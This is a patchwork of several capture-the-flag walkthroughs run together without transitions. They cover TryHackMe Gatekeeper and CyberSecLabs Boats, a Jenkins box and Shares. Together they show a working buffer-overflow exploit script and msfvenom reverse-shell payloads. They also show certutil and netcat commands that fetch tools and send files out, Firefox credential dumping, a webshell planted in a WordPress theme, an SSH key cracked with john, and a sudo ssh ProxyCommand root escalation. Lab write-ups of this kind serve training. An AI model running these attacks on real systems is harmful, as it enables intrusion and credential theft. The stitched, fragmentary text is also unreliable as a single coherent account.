“powershell -c wget ‘http://10.10.0.4:9876/nc.exe’ -outfile ‘nc14.exe'”
Top Left – Bind Shell connection to command shell
Left – nc -v -w 172.31.1.12 1337 > password.kdbx
Now that we have a password, let’s try to get in to the Administrator’s account. We can do this by utilizing psexec.py.
NOTICE: (SPOILER!!) If you would like to solve it by yourself, don’t read further.
Today let’s play Tryhackme’s Gatekeeper at
This is a writeup of Gatekeeper from TryHackMe.
The goal of these writeups is to share with others whilst developing reporting habits and improving my own process. This writeup will not include any passwords/cracked hashes/flags.
Credits to the room creator/s.
First, we will connect to the VPN. If you are not familiar with the process go through this room first and the other ‘getting started’ rooms.
Once we are connected we will deploy the machine:
When we click deploy, the machine will be started and we will need to wait a few minutes for it to get setup. We will be given an IP for the machine, in my case it’s 10.10.181.193 and the time limit which we can add to if we need to:
For this machine I’ll be using a Kali Linux VM and a Windows 10 VM with Immunity Debugger installed.
First, we have the following hint from the room description:
Can you get past the gate and through the fire?
We will start off with an nmap scan:
nmap -sC -sV -oN gatekeeper-scan 10.10.181.193
Taken from our scan results we have:
PORT STATE SERVICE VERSION 135/tcp open msrpc Microsoft Windows RPC 139/tcp open netbios-ssn Microsoft Windows netbios-ssn 445/tcp open microsoft-ds Windows 7 Professional 7601 SP1 3389/tcp open tcpwrapped 31337/tcp open Elite? 49152/tcp open msrpc Microsoft Windows RPC 49153/tcp open msrpc Microsoft Windows RPC 49154/tcp open msrpc Microsoft Windows RPC 49160/tcp open msrpc Microsoft Windows RPC 49161/tcp open msrpc Microsoft Windows RPC
We have usual ports for Microsoft Windows RPC. We have SMB on ports 139 and 445, RDP on port 3389 and an unusual port open at 31337. From these results we can assume that we will enumerate SMB further and whatever is happening on port 31337.
To begin we will enumerate SMB using smbclient:
smbclient -L \\\\10.10.181.193\\
After using smbclient to try listing each of the disks we discover that we only have access to the Users disk. There might be useful files or information disclosure stored on SMB so we will take a look:
Listing the contents we descover Default, desktop.ini and Share. Out of all of these share is the most likely place to look. We will change directory to Share from the smb prompt and list the contents:
cd Share ls
In the Share directory we find gatekeeper.exe, this is likely to be part of our attack service. We will download the executable to our Kali machine:
We also want to enumerate what we can from port 31337. To do this we will use netcat:
nc -nv 10.10.181.193 31337
When we press return the port responds with ‘Hello !!!’. If we add input at the prompt we get a response of ‘Hello <our text>!!!’ :
There is a program running on port 31337 that accepts user input. This indicates to us that it may be vulnerble to buffer overflow but we don’t want to test that on a live machine and risk crashing the service and having to reboot the machine. Assuming the program is likely to be the gatekeeper.exe we found on SMB we will use our Windows Lab machine to run our tests.
We will setup a python server in the directory containing our executable and download it onto our Windows Lab machine. From Kali we will run:
python3 -m http.server 80
And from our Windows machine we will run:
certutil -urlcache -f http://<kali ip>/gatekeeper.exe gatekeeper.exe
Now we have the executable on our Windows Lab, we will run it and connect to it using netcat same as before:
nc -nv <windows lab IP> 31337
We can confirm that it is the same program and we can catch the response back on our Windows machine:
When we send through some data we can see that the program is counting the bytes received and the bytes sent. If we can crash the program we may be able to create a buffer overflow exploit.
First we will setup a script that we can use to fuzz the program:
address = ‘<target IP>’
port = 31337
buffer = [‘A’]
counter = 100while len(buffer) < 10:
for string in buffer:
print ‘[+] Sending %s bytes…’ % len(string)
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.send(string + ‘\r\n’)
print ‘[+] Done’
print ‘[!] Unable to connect to the application. You may have crashed it.’
When we run our script we crash the program at around around 202 bytes:
We can verify this in Immunity Debugger noting that the instruction pointer (EIP) has been overwritten with four A’s. We carry on from this point to create an exploit for this vulnerable program:
I have a skeleton exploit script that I use for these kind of buffer overflows and with a couple of changes you can adjust the fuzzer script above to work the way you want it to. We will go through each section step by step without giving too much away so it can remain a challenge.
Verifying the Script
The first thing I do is make sure the script makes the program behave in the same way as the proof of concept did previously. For this I will update my script with the target IP and port and make it so it sends a buffer of 210 A’s to our target application. This is what our buffer payload will deliver:
We run the vulnerable program on our Windows machine and attach it to Immunity Debugger:
This will load our application into Immunity. Before we run the python exploit we will want to make sure the program is running in Immunity and not paused. Let’s make sure our exploit crashes the program as expected:
We can see that our exploit crashes the program the same as the fuzzer. Now we can move on to verifying the offset of the instruction pointer.
Finding the Offset
For this we will generate a unique string using msf-pattern_create that we will send us the buffer. We can then use the value that overwrites the EIP to identify exactly where the offset is.
First, we will generate the pattern:
msf-pattern_create -l 210
This will return a unique string of 210 bytes:
We will add this string to our exploit and comment out the previous payload. We only want to send the unique string as our buffer:
Next, we will go back to restart Immunity and run + re-attach gatekeeper.exe on our Windows machine. When that’s set up we will run the exploit:
We can see that our EIP has been overwritten with the value of 39654138. With this we can use msf-pattern_offset to calculate the offset:
msf-pattern_offset -l 210 -q 39654138
Great, we have an exact match for the offset of 146.
Confirming the Offset
Next up for our python script is to confirm the offset. We can do this by modifying the buffer as follows:
If all goes according to plan we will overwrite the EIP with 42424242 (four B’s). We will reset our Windows debug environment and run the exploit:
The EIP is overwritten as expected verifying our offset. Next, we will need to identify bad caracters that musn’t be used in the payload.
Identifying Bad Characters
We have a setup section in our bof skeleton exploit for bad characters. We will replace the sixty C’s we were sending with our block of bad characters, meaning our buffer will send 146 A’s followed by 4 B’s followed by our string of bad characters. It is expected that the null-byte will be break the code so we have already removed this aas a bad character:
We reset our debugging environment and run the python script. We crash the program as expected and now we want to right click on our ESP register and select ‘follow in dump’ from the menu:
This will bring up our section of bad characters in the hex dump.
This is what we are looking out for. We can see that all characters are fine except for \x0A which has been changed to \x00, we will need to include it as a bad character when we generate our payload.
Finding a JMP ESP Module
We need to find a jump address that we can use to put in our EIP which will serve as a way of redirecting to our shellcode. We can do this within Immunity Debugger using mona modules.
After our previous crash we can type into the box just below the hex dump:
From this we will be checking for ASLR to be False. It appears we can use gatekeeper.exe if we can find a jump esp address within it. To check this we will need to search gatekeeper.exe for jump esp:
!mona jmp -r esp -m gatekeeper.exe
We managed to find two pointers we could user, neither contain bad characters. We will work with 0x080414c3. For our exploit we will need to adjust this to be in Little Endian format, like this; \xc3\x14\x04\x08.
Verifying Shellcode Space
We need at least 351 bytes available to us for shellcode space after our jump to esp. We will verify this by adjusting the payload as follows:
The expected result being after the crash 351 C’s are loaded into the ESP register. We can test this by running the exploit against the applicaion whilst it is attached to Immunity:
It looks like we will have enough space, if there is an issue here we can re-trace our steps and fix it.
Next, we will generate our shell code using msfvenom:
msfvenom -p windows/shell_reverse_tcp LHOST=<my IP> LPORT=4444 EXITFUNC=thread -f c -e x86/shikata_ga_nai -b "\x00\x0a"
We will copy the resulting shellcode into our exploit and setup our netcat listner:
nc -lvnp 4444
We will have the shellcode replace the section of C’s in our buffer (be sure to remove / comment out the C’s), and run the exploit against our Windows lab machine, we also add a 20 byte nopsled before our shellcode starts:
We get a shell as admin on our Windows Lab machine.
It’s important to note we will have to make some adjustments to our exploit before running it against the target:
- Change the IP in the exploit to the IP of the target.
- Regenerate the shellcode using our TryHackMe IP.
With that done we can run it against the target machine.
This is my first walkthrough and I though what’s a better topic then Buffer Overflow to start with.
lets attach it to immunity debugger and try to fuzz it
#!/usr/bin/python import socket,sys from time import sleep ip="192.168.152.129" //change this port=31337 bof = ['A'] cntr = 100 while len(bof)<=30: bof.append("A"*cntr) print cntr cntr = cntr +200 for string in bof: s=socket.socket(socket.AF_INET,socket.SOCK_STREAM) s.connect((ip,port)) print "Fuzzing with "+str(len(string))+" Characters" s.send(string + 'nr') s.recv(1024) s.close() sys.exit(0)
Creating a Skeleton code is simple :
#!/usr/bin/python import socket,sys from time import sleep ip="192.168.152.129" port=31337 shellcode=("") bof = "A"*146+"BBBB"+"C"*(300-146-4) try: s=socket.socket(socket.AF_INET,socket.SOCK_STREAM) s.connect((ip,port)) print "Fuzzing with "+str(len(bof))+" Characters" s.send(bof + 'nr') s.recv(1024) s.close() except: print "Some Error Occured" sys.exit(0)
Now lets find out which of the 300 As we sent overwrote the EIP using pattern_create.rb script as follows replace the 300 A with the output
When we run the script again we can see EIP is overwritten with 39654138 so querying it with pattern_offset.rb gives us the location as 146
Lets replace 300 As with following in the skeleton code:
bof = "A"*146+"BBBB"+"C"*(300-146-4)
Now we try increasing the number of Cs lets replace c*(300-146-4) with C*(1000) so we have some breathing space if it works
It does work and we have 846 characters of space for our shellcode
Next Step is to find the BAD-Characters :
In layman’s term bad characters have some special meaning for the specific application
x00 is the usual suspect (acts as truncate in lots of places)
We’ll simply replace Cs with all available HEX characters ie x01 to xff (almost every time x00 is a bad character so lets just save time assuming that it one)
Now lets find the modules that we can use for redirecting the code execution to ESP as our Cs are being stored in the ESP
we use the mona to find the modules
now lets try to search for JMP ESP if it exists in gatekeeper.exe
!mona find -s "xffxe4" -m gatekeepr.exe
and we get two addresses where it is being used. Here I’ll be using the first address you can go ahead and experiment with the second one
We set a breakpoint using F2 And make changes in the code accordingly and We replace the B’s in the code with the address
When we run the script the program execution is stopped at the breakpoint showing that our code is properly calling the address and everything we did till now is working
We’ll use Metasploit Venom to generate the shellcode
msfvenom -p windows/meterpreter/reverse_tcp lport=4444 lhost=192.168.152.128 EXITFUNC=thread -a x86 -e x86/shikata_ga_nai -b "x00x0a" -f c
Add the generated shellcode to the code. We’ll keep a NOP sled for 16 characters using : “x90″*16 before the shellcode.
Final test exploit will look something like this:
#!/usr/bin/python import socket,sys from time import sleep ip="192.168.152.129" port=31337 #addr =080414C3 addr="xC3x14x04x08" shellcode=("--------Your shellcode------------") bof = "A"*146+addr+"x90"*16+shellcode #shellcode length can be 844 #badchar = x00x0a try: s=socket.socket(socket.AF_INET,socket.SOCK_STREAM) s.connect((ip,port)) print "Fuzzing with "+str(len(bof))+" Characters" s.send(bof + 'nr') s.recv(1024) s.close() except: print "Some Error Occured" sys.exit(0)
Before running the exploit get multi/handler ready
Now that we have the working exploit we can send it to the victim machine by just changing the IP in the msfvenom command for generating the shell use above.
Exploitation & Privilege Escalation
Method 1: Manually
We setup our listener:
nc -lvnp 4444
And run our python exploit against the target:
We are returned a shell on the target. From here we can grab the user.txt file:
From here we can take a look at which programs have been installed by checking C:\Program Files (x86)\ :
cd c:\Program Files (x86)\ dir
From the output we can see that Mozilla Firefox is installed. Sometimes credentials can be retrieved from browsers so we will look into this further. After some further enumeration and hoping to find a manual exploit path I found this blogpost about credential dumping from firefox using metasploit.
Looking at the paths that the exploit tries to find files in let’s see if we can grab these files from our shell. We can find the files we need in the following directory:
The files that we want are listed in the directory:
We will transfer a copy of netcat over to the target and use it to send the files to our Kali machine. First, we will start a python server in our directory containing the nc.exe binary:
python3 -m http.server 80
Then we will download the binary onto the target machine:
certutil -urlcache -f http://<my IP>/nc.exe nc.exe
We can now transfer the four files we need to our Kali machine using netcat.
nc -lvnp <port> > filename
nc -nv <ip> <port> < c:\path\to\file
We can check we have all four files transferred to our Kali machine:
Now, we can use a tool called firefox_decrypt.py to get credentials from the file. We download the python file and run it:
python firefox_decrypt.py /root/Blog/tryhackme/gatekeeper/foxfire/
We successfully recover a username and a password. We can now use psexec to get a remote shell on the system:
From here we can grab the final flag.
Method 2: Metasploit
We can replace the shell in our buffer overflow to be a meterpreter shell by changing the msfvenom command to use a meterpreter payload:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=<my IP> LPORT=4444 EXITFUNC=thread -f c -e x86/shikata_ga_nai -b "\x00\x0a"
We run our exploit and we have a meterpreter shell:
Next, we use the module suggested to download possible files we could use, that firefox stores, to get credentials from:
With the files saved to /root/.msf4/loot/ we can continue the exploit as we did in the manual method.
Thanks to everyone who worked on the machine. Really enjoyed the buffer overflow into user and learnt something new to look out for with the privesc!
msfvenom payload for Meterpreter shell
Reverse shell via multi/handler exploit
Utilizing the enum_applications module, users will discover that Firefox is running on the low privilege user machine. No other exploits are available, despite local_privilege_suggester providing two different possibilities (local admin is turned off). See below for the Firefox credential dump and enum_applications.
Credential dump with run post/multi/gather/firefox_creds
Now that credentials are dumped, users will be required to grab the Firefox Decrypt tool from Github (https://github.com/unode/firefox_decrypt). Instructions are provided on the page, but in short, users will be required to rename the four different outputs from the Firefox_cred module. See below.
Before renaming the files
After renaming files appropriately
We can then run the Firefox Decrypt tool to dump the credentials from Firefox.
python firefox_decrypt.py /root/.msf4/loot/
Finally, we can utilize the above credentials to log in to the “mayor” account using psexec.
psexec.py user:firstname.lastname@example.org and NT AUTHORITY\SYSTEM
files used :
Author – Puckiestyle
Enumeration & Exploitation
Now back to our regularly scheduled walkthrough.
root@kali:~/cyberlabs/Boats$ nmap -sV -sT -sC -o nmapscan 172.31.1.14 Starting Nmap 7.80 ( https://nmap.org ) at 2020-05-30 20:17 EDT Nmap scan report for 172.31.1.14 Host is up (0.11s latency). Not shown: 988 filtered ports PORT STATE SERVICE VERSION 80/tcp open http Apache httpd 2.2.11 ((Win32) DAV/2 mod_ssl/2.2.11 OpenSSL/0.9.8i PHP/5.2.9) | http-cookie-flags: | /: | PHPSESSID: |_ httponly flag not set |_http-generator: WordPress 4.0.1 |_http-server-header: Apache/2.2.11 (Win32) DAV/2 mod_ssl/2.2.11 OpenSSL/0.9.8i PHP/5.2.9 |_http-title: Boats | Boats 135/tcp open msrpc Microsoft Windows RPC 139/tcp open netbios-ssn Microsoft Windows netbios-ssn 443/tcp open ssl/https? |_ssl-date: 2020-05-31T00:19:50+00:00; +1s from scanner time. | sslv2: | SSLv2 supported | ciphers: | SSL2_RC2_128_CBC_WITH_MD5 | SSL2_DES_192_EDE3_CBC_WITH_MD5 | SSL2_RC4_128_WITH_MD5 | SSL2_RC2_128_CBC_EXPORT40_WITH_MD5 | SSL2_RC4_128_EXPORT40_WITH_MD5 | SSL2_IDEA_128_CBC_WITH_MD5 |_ SSL2_DES_64_CBC_WITH_MD5 445/tcp open microsoft-ds Microsoft Windows Server 2008 R2 - 2012 microsoft-ds 3306/tcp open mysql MySQL (unauthorized) 3389/tcp open ssl/ms-wbt-server? | rdp-ntlm-info: | Target_Name: BOATS | NetBIOS_Domain_Name: BOATS | NetBIOS_Computer_Name: BOATS | DNS_Domain_Name: Boats | DNS_Computer_Name: Boats | Product_Version: 6.3.9600 |_ System_Time: 2020-05-31T00:19:26+00:00 | ssl-cert: Subject: commonName=Boats | Not valid before: 2020-04-21T19:39:55 |_Not valid after: 2020-10-21T19:39:55 49152/tcp open msrpc Microsoft Windows RPC 49153/tcp open msrpc Microsoft Windows RPC 49154/tcp open msrpc Microsoft Windows RPC 49155/tcp open msrpc Microsoft Windows RPC 49163/tcp open msrpc Microsoft Windows RPC Service Info: OSs: Windows, Windows Server 2008 R2 - 2012; CPE: cpe:/o:microsoft:windows Host script results: |_nbstat: NetBIOS name: BOATS, NetBIOS user: <unknown>, NetBIOS MAC: 02:33:63:0d:b9:ba (unknown) |_smb-os-discovery: ERROR: Script execution failed (use -d to debug) | smb-security-mode: | authentication_level: user | challenge_response: supported |_ message_signing: disabled (dangerous, but default) | smb2-security-mode: | 2.02: |_ Message signing enabled but not required | smb2-time: | date: 2020-05-31T00:19:25 |_ start_date: 2020-05-31T00:12:56 Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 206.08 seconds
Now we have WordPress CMS hosted on 80 port and we need to start enumerate a WordPress Plugins and Themes and Misconstructions and more to try to gain access to this application.
I will use a ffuf to fuzzing a directories and hidden files in application and on the other side i will run WPscan to scan WordPress vulnerable plugins and Themes and enumerating users.
After fuzzing directories i found a phpmyadmin path accessible without password.
Now I found a “WordPress” Table in Phpmyadmin and i can edit a “wp_users” table to login with admin account.
In “WP_Users” i found a user called “James” with “id=1” and this means this user has the administrator privileges and we need to change his password to login with his account.
I have changed a user_pass for james password to “secfathy” and select MD5 to generate a password with MD5 Hash.
Now we need to login with James account by using our password to WordPress Dashboard and to login to this dashboard we need to navigate to this following URL http://172.31.1.14/wp-login.php
Yes we have access with administrator privilege to WordPress dashboard and we need to get a reverse shell to access this machine, we have more than method like upload a malicious Theme or plugin with our backdoor with php extension or edit one of installed themes and replace this index page for example with our backdoor code to gain access and we can install a WPTerm Plugin to execute command on wordpress – but i will edit a Twenty Fourteen theme to add me code.
To edit a WordPress Themes navigate to Appearance > Editor
I selected a “Index.php” page to add my code but I don’t prefer to use this method in production environment during any penetration testing assessment because if you didn’t get a backup, you will not be able to enter the main page of the site.
I will use a “p0wny webshell” to access a machine files simply https://github.com/flozz/p0wny-shell
After select a “index.php” i add my a p0wny webshell code to access web-shell and to save this action click to “Upload File” button.
by navigate to machine homepage you can find a Powny Shell terminal and i executed a whoami command to know what is my privileges and a terminal return system – our goal now to get a user.txt flag and root.txt flag from this user desktop and administrator desktop.
by using a powny shell i navigated to “C:\Users\james\Desktop” and i found a “access.txt” file
Now I have a access.txt flag and we need to get a “system.txt” flag and by small searching i found this flag in a administrator desktop
Yes!! we own a system flag
sudo nmap -O -A -p- 172.31.1.19
kali@kali:~/cyberseclabs$ nmap 172.31.1.19 Starting Nmap 7.80 ( https://nmap.org ) at 2020-06-25 10:33 EDT Nmap scan report for 172.31.1.19 Host is up (0.10s latency). Not shown: 990 closed ports PORT STATE SERVICE 135/tcp open msrpc 139/tcp open netbios-ssn 445/tcp open microsoft-ds 3389/tcp open ms-wbt-server 8080/tcp open http-proxy 49152/tcp open unknown 49153/tcp open unknown 49154/tcp open unknown 49155/tcp open unknown 49163/tcp open unknown Nmap done: 1 IP address (1 host up) scanned in 20.86 seconds
We get a Jenkins login page lets try some default credentials the good old admin:admin…
Step 2: Exploitation
Browsing around the console and doing some clicking around, I have no idea what the hell I am looking for. I see a script console and this starts to stir up some evil thoughts on how I can exploit this thing. Did some googling and sure enough I found a Metasploit module that allows us to exploit this bad boy using Java code execution. This exploit can also be done manually without using Metasploit’s spoon feeding by throwing in commands to execute in the console.
Let’s now fire up Metasploit from our terminal and use the exploit module following the commands in order:
msfconsole use exploit/multi/http/jenkins_script_console set RHOSTS 172.31.1.19 set RPORT 8080 set TARGETURI /script/ set USERNAME admin set PASSWORD admin
by default this module likes to use reverse_https payload for our reverse connection back. I switched to reverse_tcp for consistency.
set payload windows/meterpreter/reverse_tcp set LHOST <your ip> set LPORT 7777 run
Now it starts to exploit giving us back a meterpreter session. I typed the command shell for a detailed shell.
C:\Users\ben\Desktop>type access.txt type access.txt 11d92ba4a09c10adf0eb3636ad4c57e5 C:\Users\ben\Desktop>
Step 3: Post Exploitation
I ran to see if this thing was vulnerable to the Juicy Potato exploit
C:\Users\ben\Desktop>whoami /priv whoami /priv PRIVILEGES INFORMATION ---------------------- Privilege Name Description State ============================= ========================================= ======== SeChangeNotifyPrivilege Bypass traverse checking Enabled SeImpersonatePrivilege Impersonate a client after authentication Enabled SeCreateGlobalPrivilege Create global objects Enabled SeIncreaseWorkingSetPrivilege Increase a process working set Disabled C:\Users\ben\Desktop>
We can see that SeImpersonatePrivilege is Enabled. This means we can use the famous Juicy Potato attack.
I found a Juicy Potato exploit module for Metasploit. While still in the basic command shell, press Ctrl-Z to background the session. Hit Y if it asks you to background it.
We are now dropped back to the main Metasploit prompt, and we can verify any sessions we have running in the background with the sessions command:
use exploit/windows/local/ms16_075_reflection_juicy set SESSION 1 set LHOST <your ip> run
kali@kali:~/cyberseclabs$ sudo nmap -p- 172.31.1.7 Starting Nmap 7.80 ( https://nmap.org ) at 2020-06-24 09:49 EDT Stats: 0:00:06 elapsed; 0 hosts completed (1 up), 1 undergoing SYN Stealth Scan Nmap scan report for 172.31.1.7 Host is up (0.10s latency). Not shown: 65526 closed ports PORT STATE SERVICE 21/tcp open ftp 80/tcp open http 111/tcp open rpcbind 2049/tcp open nfs 27853/tcp open unknown -> ssh 34971/tcp open unknown 36663/tcp open unknown 50727/tcp open unknown 56401/tcp open unknown Nmap done: 1 IP address (1 host up) scanned in 621.71 seconds
kali@kali:~/cyberseclabs$ mkdir /tmp/amir kali@kali:~/cyberseclabs$ sudo mount -t nfs 172.31.1.7:/home/amir /tmp/amir [sudo] password for kali:kali kali@kali:~/cyberseclabs$ cd /tmp/amir kali@kali:/tmp/amir$ ls -la total 40 drwxrwxr-x 5 kali kali 4096 Apr 2 11:43 . drwxrwxrwt 14 root root 4096 Jun 25 10:01 .. -rw-r--r-- 1 kali kali 0 Apr 2 11:46 .bash_history -rw-r--r-- 1 kali kali 220 Apr 4 2018 .bash_logout -rw-r--r-- 1 kali kali 3786 Apr 2 11:46 .bashrc drw-r--r-- 2 kali kali 4096 Apr 2 10:44 .cache drw-r--r-- 3 kali kali 4096 Apr 2 10:44 .gnupg -rw-r--r-- 1 kali kali 807 Apr 4 2018 .profile drwxrwxr-x 2 kali kali 4096 Apr 2 11:20 .ssh -rw-r--r-- 1 kali kali 0 Apr 2 10:47 .sudo_as_admin_successful -rw-r--r-- 1 kali kali 7713 Apr 2 11:43 .viminfo kali@kali:/tmp/amir$ cd .ssh kali@kali:/tmp/amir/.ssh$ ls -la total 24 drwxrwxr-x 2 kali kali 4096 Apr 2 11:20 . drwxrwxr-x 5 kali kali 4096 Apr 2 11:43 .. -r-------- 1 kali kali 393 Apr 2 11:12 authorized_keys -r-------- 1 kali kali 1766 Apr 2 11:11 id_rsa -rw-r--r-- 1 kali kali 1766 Apr 2 11:20 id_rsa.bak -r-------- 1 kali kali 393 Apr 2 11:11 id_rsa.pub
kali@kali:/tmp/amir/.ssh$ cat id_rsa -----BEGIN RSA PRIVATE KEY----- Proc-Type: 4,ENCRYPTED DEK-Info: AES-128-CBC,8D55B7449F8965162DA3B7F2F017FC21 2lI1tgSF61MjFg2Er22GWr9hImJbuZ01I556yFoLAGNj/95ZB2H8Er9u8wfMgr8z uB8Yuw2GmO0jJguQ4CK36kDLT/hpG5AW5WfHASzePHx58Ol2hrH+2e5IAoIwcVmi bFN3zIYYCznn6bIvRaqwkuxaD01EG8IPxgAvm0Nr3sP539wngplyf7/+xqvPyT18 jT058FEMPFmeb+V0MHczlNWOW6wrGnxQAea2ON+IUwiSsTVSLv4QLGVWF8Lcualy t4+4Kr47gdlxRh9HcNDztfIztimMdGp8AdV5z4KDKyL6FUVfmZqC2nxhbFUKtF7k su7qHGpV9p9Pkglx+/rUq9NeifFcRGrhsOWctUXmWJ7BbmrqFgw1+X8ui6A/uttE R8hEblI4obffLnGDrAO4wuH+qtA2oelwwjl/JxyqwbGH4RGAW/4AseqDzQ6RpfgQ Sq8wBPb5MMp2ZKEzEl8qcWcwS1FCGz/VPHpnEYwfpFlcJ1kpqkiT5gmNrDFauN1m upeSS7T5iAeHHmskbHJfNNSGYjSbTRzCSFlq2vCNXGte7jta34YCVucNHBIUR/2y GLrm3CmVYPrjdw0irwDt+uepPfUyQQLhSqiZdbyGiljlUeij5+zJax7tOjlBBjBS Y0rMRwiG8FGDEBbSmDZk30qB3Qb9TQcaqe9Wi/liFuxVyfbukiGW2b65JGbd7R1q Vh6pKw4Hd35iGmVskme7evsSupEMOu9fKsJAkIrQTxadpU8wG2wkp0NTM7fh3aut TDGKorRXOXj+cV6zehjXUYyUTesTMDh9EUVmHuixvIFX8V3w562BV28murByt7I+ ubvmZxjvh51nzpOJa4g61tnj/4OCbhFCEK4nsExh0HS11WeDAvueDauLk2Wgiw/z /yyssrshPiXe/vxYGFJlHelyDaUSwpdrZ0AGzwUutN0rOrh3yS6yTDH2raLSa76y e1bxe+rh2Q/iEhzqa1RbWrg7fA+5FJRLAZdYlaqlEsVt81nw4mdBCpjEbUl19egF xIqogCAilFWvnZQ4f12JPmk0mke84idw76+SdBeof18gGiR3mWn3IyoFLRacMs5N 4zrNBXOGCVVzXCoo88ioYw1I91O57c0vbx8S40SbIevUprphf3VTZlyrRxw2AB/R zclXHN/fEewst2maxauD+32Krm1uvTcCNk3CNre7NwPb6tB0rY3R3E7h2S/MKt0Y eZKbFFmLwnokHqzSI8uIy8wrPj6H9R+wxT0+/KPyi3L7JIbParsHO4flBx1sMCUl jlSNW/3J2ADP7QKA5AyjVcsIbp/aXyeJKCtglRc4Yl8mEmCroe61pCDO0mnatWxF Y9/z6VRC61sjO4T1xYcGFSlVeXANuN8TYR8mUyvruG8OoNQ65RvgxSCRPzFe4EAm xmXIQ4pDW59LSO7PnPdjsGN8eY7xTnG5509DYK6FoUC0T8hjp/wR9ucKDDqQoXpW BM9cM5IPltG+wAlP39EbGMinnqgqDazWAk/wSKo4ieGLnWcNORe7Ti299tImCy0l 8zJWICDbH7bSMYyVPlWBrgUBWQ6xFI55iKdhjhlQdblZI04DoSathKFe+Khjb8bi -----END RSA PRIVATE KEY----- kali@kali:/tmp/amir/.ssh$
CRACK FOR “ID_RSA” PASSPHRASE WITH JOHN
kali@kali:~/cyberseclabs$ python ssh2john.py id_rsa > id_rsa.hash kali@kali:~/cyberseclabs$ john id_rsa.hash -wordlist=/usr/share/wordlists/rockyou.txt Using default input encoding: UTF-8 Loaded 1 password hash (SSH [RSA/DSA/EC/OPENSSH (SSH private keys) 32/64]) Cost 1 (KDF/cipher [0=MD5/AES 1=MD5/3DES 2=Bcrypt/AES]) is 0 for all loaded hashes Cost 2 (iteration count) is 1 for all loaded hashes Will run 2 OpenMP threads Note: This format may emit false positives, so it will keep trying even after finding a possible candidate. Press 'q' or Ctrl-C to abort, almost any other key for status hello6 (id_rsa) 1g 0:00:00:10 DONE (2020-06-25 10:08) 0.09157g/s 1313Kp/s 1313Kc/s 1313KC/sa6_123..*7¡Vamos! Session completed kali@kali:~/cyberseclabs$
SSH CONNECT TO MACHINE WITH ID_RSA
(SSH port different. Port number is 27853)
kali@kali:~/cyberseclabs$ ssh -i id_rsa email@example.com -p 27853 Enter passphrase for key 'id_rsa':hello6 Welcome to Ubuntu 18.04.4 LTS (GNU/Linux 4.15.0-91-generic x86_64) * Documentation: https://help.ubuntu.com * Management: https://landscape.canonical.com * Support: https://ubuntu.com/advantage System information as of Thu Jun 25 13:59:46 UTC 2020 System load: 0.0 Processes: 105 Usage of /: 39.2% of 9.78GB Users logged in: 0 Memory usage: 34% IP address for eth0: 172.31.1.7 Swap usage: 0% 21 packages can be updated. 0 updates are security updates. Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings The programs included with the Ubuntu system are free software; the exact distribution terms for each program are described in the individual files in /usr/share/doc/*/copyright. Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by applicable law. The programs included with the Ubuntu system are free software; the exact distribution terms for each program are described in the individual files in /usr/share/doc/*/copyright. Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by applicable law. Last login: Thu Jun 25 13:00:51 2020 from 172.31.249.99 amir@shares:~$
access.txt file not include amir files, try
sudo -l command
amir@shares:/tmp$ sudo -l Matching Defaults entries for amir on shares: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin User amir may run the following commands on shares: (ALL : ALL) ALL (amy) NOPASSWD: /usr/bin/pkexec (amy) NOPASSWD: /usr/bin/python3 amir@shares:/home$ sudo -u amy /usr/bin/python3 -c 'import pty; pty.spawn("/bin/bash")' amy@shares:/home$ ls amir amy amy@shares:/home$ ls -la total 16 drwxr-xr-x 4 root root 4096 Apr 2 15:28 . drwxr-xr-x 24 root root 4096 Apr 2 14:34 .. drwxrwxr-x 5 amir amir 4096 Apr 2 15:43 amir drwxr-xr-- 2 amy amy 4096 Apr 2 15:41 amy amy@shares:/home$ cd amy amy@shares:/home/amy$ ls access.txt amy@shares:/home/amy$ ls access.txt amy@shares:/home/amy$ cat access.txt dc17a108efc49710e2fd5450c492231c
FOR ROOT ACCESS
amy@shares:/home/amy$ sudo -l Matching Defaults entries for amy on shares: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin User amy may run the following commands on shares: (ALL) NOPASSWD: /usr/bin/ssh amy@shares:/home/amy$ sudo /usr/bin/ssh -o ProxyCommand=';sh 0<&2 1>&2' x # id uid=0(root) gid=0(root) groups=0(root) # whoami root # bash root@shares:/home/amy# cd /root root@shares:/root# ls -la total 28 drwx------ 3 root root 4096 Apr 2 15:39 . drwxr-xr-x 24 root root 4096 Apr 2 14:34 .. -rw------- 1 root root 78 Apr 2 15:46 .bash_history -rw-r--r-- 1 root root 3106 Apr 9 2018 .bashrc -rw-r--r-- 1 root root 148 Aug 17 2015 .profile drwx------ 2 root root 4096 Apr 2 14:43 .ssh -rw-r--r-- 1 root root 33 Apr 2 15:39 system.txt root@shares:/root# cat system.txt b910aca7fe5e6fcb5b0d1554f66c1506 root@shares:/root#
Author – Puckiestyle